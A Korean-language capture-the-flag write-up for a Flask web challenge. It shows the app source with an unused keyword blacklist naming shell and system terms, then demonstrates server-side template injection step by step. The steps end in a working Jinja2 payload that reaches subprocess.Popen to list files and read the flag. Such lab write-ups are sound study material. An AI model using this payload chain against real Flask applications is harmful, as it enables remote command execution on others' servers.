1월 Space WAR의 Web Challenge에 가장 첫 번째 문제는 for_beginner이다.
소스 코드는 다음과 같다. 소스 코드를 분석해보면 Prevent_SSTI 라는 함수를 정의해 이번 문제는 SSTI 문제인 것을 알 수 있다. get 메소드를 통해 name의 파라미터 값을 홈페이지에 바로 출력해주고 있다. 근데 Prevent_SSTI 함수를 정의해 놓고 main 함수에서는 사용하고 있지 않다..
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib
import re
app = Flask(__name__)
blacklist = ['os','subprocesses','exec','vars','sys','"','\+','open','rm','main','static','templates','ctf','rf','spawnlp','execfile','dir','dev','tcp','sh','import','built','__class__','for','request','\,','app','file','url_for','\[','\]','config']
def Prevent_SSTI(input):
for i in blacklist:
res = re.search(i,input)
if res:
return True
else:
return False
@app.route('/')
def main():
name = request.args.get("name", "World")
return render_template_string(f'Hello {name}!!')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
SSTI(Server Side Template Injection) 취약점은 공격자가 서버 측의 기본 템플릿 구문을 이용하여 악성 페이로드를 삽입한 다음 서버 측에서 실행되면서 생기는 취약점이다.
requirenment.txt 파일을 확인하면 Flask와 Jinja2를 사용하고 있는데, 이 경우는 {{..}} 형태의 템플릿을 사용한다.
테스트 겸 name이라는 파라미터 값에 {{5*5}}를 넣어보면 다음과 같이 5*5인 사칙연산이 수행되면서 Hello 25가 나온 것을 확인할 수 있다.
다음으로 SSTI를 검사하는 필터링이 적용되어 있지 않으니 config.imtes() 를 통해 config 내부에 있는 값들을 딕셔너리 형태로 출력시켜보자.
아래의 페이로드를 name 파라미터 값에 다시 요청해 사용할 수 있는 클래스를 검색할 수 있다.
{{%27%27.__class__.__mro__}}
str과 object 두 클래스가 반환되는 것을 알 수 있는데, 파이썬에서는 거의 object 함수를 사용한다고 한다.
아래 페이로드를 통해서 object 클래스에는 어떤 값들이 있는지 확인해볼 수 있다.
{{%27%27.__class__.__mro__[1].__subclasses__()}}
여기서 내용이 좀 많아 open을 검색하니 다음과 같이 Popen이라는 키워드를 찾을 수 있었다.
내용이 조금 많아 귀찮지만 슬라이싱을 때려맞춰보면 494가 subprocess.Popen이라는 것을 알 수 있다.
다음 페이로드를 통해서 ls 명령어를 실행시켜주면 Dockerfile, app.py,. flag.txt 파일이 3개 있는 것을 확인할 수 있다.
{{%27%27.__class__.__mro__[1].__subclasses__()[494](%27ls%27,shell=True,stdout=-1).communicate()}}
위의 ls를 cat%20flag.txt로 변경해주면 flag 값을 읽을 수 있다.